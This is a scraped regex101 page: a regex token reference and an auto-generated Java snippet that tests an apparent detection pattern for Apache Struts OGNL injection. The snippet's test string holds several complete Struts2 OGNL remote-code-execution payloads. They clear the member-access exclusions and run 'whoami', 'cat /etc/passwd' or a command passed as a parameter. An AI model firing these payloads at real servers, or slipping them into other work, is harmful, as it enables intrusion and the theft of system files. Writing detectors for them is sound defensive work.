Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
No Match

r"
"
ig

Test String

Code Generator

Language

Generated Code

import java.util.regex.Matcher; import java.util.regex.Pattern; public class Example { public static void main(String[] args) { final String regex = "\\%[\\s|\\\\r|\\\\n]*\\{[\\s|\\\\r|\\\\n]*(?:[\\s|\\\\r|\\\\n]*\\(\\#[^\\=]+\\=[^\\)]+\\)\\.)"; final String string = "\"Cache-Control\": \"max-age=0\", \"Upgrade-Insecure-Requests\": \"1\", \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\", \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\", \"Accept-Encoding\": \"gzip, deflate\", \"Accept-Language\": \"zh-CN,zh;q=0.9,en;q=0.8\", \"Connection\": \"close\", \"Content-Type\": \"multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF\"}\n" + " data = \"------WebKitFormBoundaryl7d1B1aGsV2wcZwF\n" + "Content-Disposition: form-data; name=\\\"id\\\"\n\n" + "%{\n" + "(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n" + "(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\n" + "(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n" + "(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\n" + "(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n" + "(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\n" + "(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\n" + "(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\n" + "(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))\n" + "}\n" + "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\\xe2\\x80\\x94\"\n\n\n\n" + "/?name=%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}\n\n\n\n" + " /index.action?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#res=@org.apache.struts2.ServletActionContext@getResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w=#res.getWriter(),#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?#xx:#request.toString&pp=\\\\A&ppp= &encoding=UTF-8&cmd=cat /etc/passwd\n\n\n\n" + " ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\\r\\nContent-Disposition: form-data; name=\\\"id\\\"\\r\\n\\r\\n%{\\r\\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\\r\\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\\r\\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\\r\\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\\r\\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\\r\\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\\r\\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\\r\\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\\r\\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'CMD'}))\\r\\n}\\r\\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF--\\xe2\\x80\\x94\n"; final Pattern pattern = Pattern.compile(regex, Pattern.CASE_INSENSITIVE); final Matcher matcher = pattern.matcher(string); while (matcher.find()) { System.out.println("Full match: " + matcher.group(0)); for (int i = 1; i <= matcher.groupCount(); i++) { System.out.println("Group " + i + ": " + matcher.group(i)); } } } }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Java, please visit: https://docs.oracle.com/javase/7/docs/api/java/util/regex/Pattern.html